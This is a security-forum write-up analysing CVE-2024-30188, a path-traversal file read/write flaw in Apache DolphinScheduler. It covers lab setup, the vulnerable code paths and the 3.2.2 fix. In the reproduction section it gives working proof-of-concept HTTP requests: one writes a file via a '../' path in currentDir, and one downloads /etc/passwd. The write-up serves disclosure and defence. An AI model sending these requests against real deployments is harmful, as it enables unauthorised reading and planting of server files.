奇安信攻防社区-CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析

CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析

Apache Dolphinscheduler 是开源的分布式任务调度系统。受影响版本中，由于资源管理功能未对 currentDir 参数进行有效校验，经过身份验证的攻击者可以通过构造恶意的路径参数，绕过目录限制在服务器端读取或写入任意文件。

前言
--

漏洞影响版本：3.1.0 =&lt; Apache Dolphinscheduler &lt; 3.2.2

环境搭建
----

下载3.2.0版本<https://codeload.github.com/apache/dolphinscheduler/zip/refs/heads/3.2.0-release>

修改deploy/docker/docker-compose.yml，在dolphinscheduler-api服务添加调试语句

```yml
command:
  /opt/java/openjdk/bin/java -server -Xms1g -Xmx1g -Xmn512m -XX:+IgnoreUnrecognizedVMOptions -XX:+PrintGCDateStamps -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof -XX:-UseContainerSupport -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -cp /opt/dolphinscheduler/conf:/opt/dolphinscheduler/libs/* org.apache.dolphinscheduler.api.ApiApplicationServer
```

![image-20240823120332919.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4f4eff80522ae40dad465f8520b1c286bd80f227.png)

启动服务

```sh
docker-compose --profile all up -d 
```

访问<http://127.0.0.1:12345/dolphinscheduler/ui/login> 正常说明搭建成功，默认账号密码为admin/dolphinscheduler123

漏洞复现
----

### 文件上传

漏洞触发需要一个用户账户登录到后台

![image-20240823143612389.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-85757451adc64a7db2c0dd9be4d7b2284d268abb.png)

```php
POST /dolphinscheduler/resources/online-create HTTP/1.1
Host: 192.168.85.129:12345
Content-Type: application/x-www-form-urlencoded
Cookie: securityConfigType=PASSWORD; sessionId=a4a04aa2-7baa-478b-abcb-476c13af0d62; language=zh_CN; sessionId=a4a04aa2-7baa-478b-abcb-476c13af0d62
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

pid=-1&type=FILE&suffix=sh&fileName=test1&description=&content=123123&currentDir=file:/dolphinscheduler/default/resources/../../../
```

### 文件下载

![image-20240823144924340.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-048518c3dbbafc73531973a68ea9d84fa591066d.png)

```php
GET /dolphinscheduler/resources/download?fullName=/etc/passwd HTTP/1.1  
Host: 192.168.85.129:12345
```

分析过程
----

### 文件上传

漏洞触发点在api.Controller.ResourcesController#onlineCreateResource()，访问dolphinscheduler/resources/online-create接口就会调用该方法

![image-20240823120857241.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ee9b44dfdfe9f073fa726695a0fee93d19c49ec2.png)

首先会判断是否登录，没登陆的话会直接返回

![image-20240823121823695.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-54e61e807c0ee05a2ba71bacf76f56cf96a28ce8.png)

继续向下执行，程序会判断currentDir是否包含"file:/dolphinscheduler/default/resources/"字符串，currentDIr是可控的，就可以构造currentDir=file:/dolphinscheduler/default/resources/../../../

接着将currentDir和文件名name拼接得到fullName

![image-20240823141708619.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ca5819672befa6df92467d1415a35f5f5cc47079.png)

接着进入uploadContentToStorage()，首先会将content的内容写入到本地临时文件localFilename中，接着在下面调用storageOperate.upload()

![image-20240823141933409.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-e1e1269de565ff0fcf156335cade53c9af91159e.png)

![image-20240823142119052.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d7e92e33ef05a5c0deb0c0b80930b1e7c6ca3318.png)

最终会进入到plugin.storage.hdfs#copyLocalToHdfs()，将临时文件srcPath复制到dstPath，实现了目录跨越上传

![image-20240823142246217.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-44490267d0b6cfb444e7bdef02fcc1ad04bdc7ad.png)

进入到api容器中，可以在根目录下看到上传的文件test1.sh

![image-20240825195011594.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-fdace546309b51c6ede9474338c0e626fb0b81e4.png)

### 文件下载

任意文件下载的方法在api.Controller.ResourcesController#downloadResource()

![image-20240823144104616.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1ea3ee5847a36974ec9aac7189dc311f72eb2af8.png)

跟进到api.service.impl.ResourcesServiceImpl#downloadResource()

1、在该方法里会将fullName以"/"为分隔符划分得到aliasArr数组，拼接数组最后一个字符串到本地临时文件localFileName中

2、调用storageOperate.download()将fullName文件内容复制到临时文件localFileName中

3、调用file2Resource()返回localFileName的文件对象

![image-20240823144320197.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9814baad230527506cdfa2decd5046e91ec4d8fa.png)

漏洞修复
----

<https://github.com/apache/dolphinscheduler/compare/3.2.0...3.2.2>

可以在看到3.2.2修复版本中添加了一个函数checkFullName()用来验证fullName，如果包含../就会抛出异常

![image-20240825194324425.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-cd869160f0ef4cf6c38565fcf85e1c2e208fd35f.png)

发表于 2024-08-30 08:00:02
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分类：Web应用

CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析

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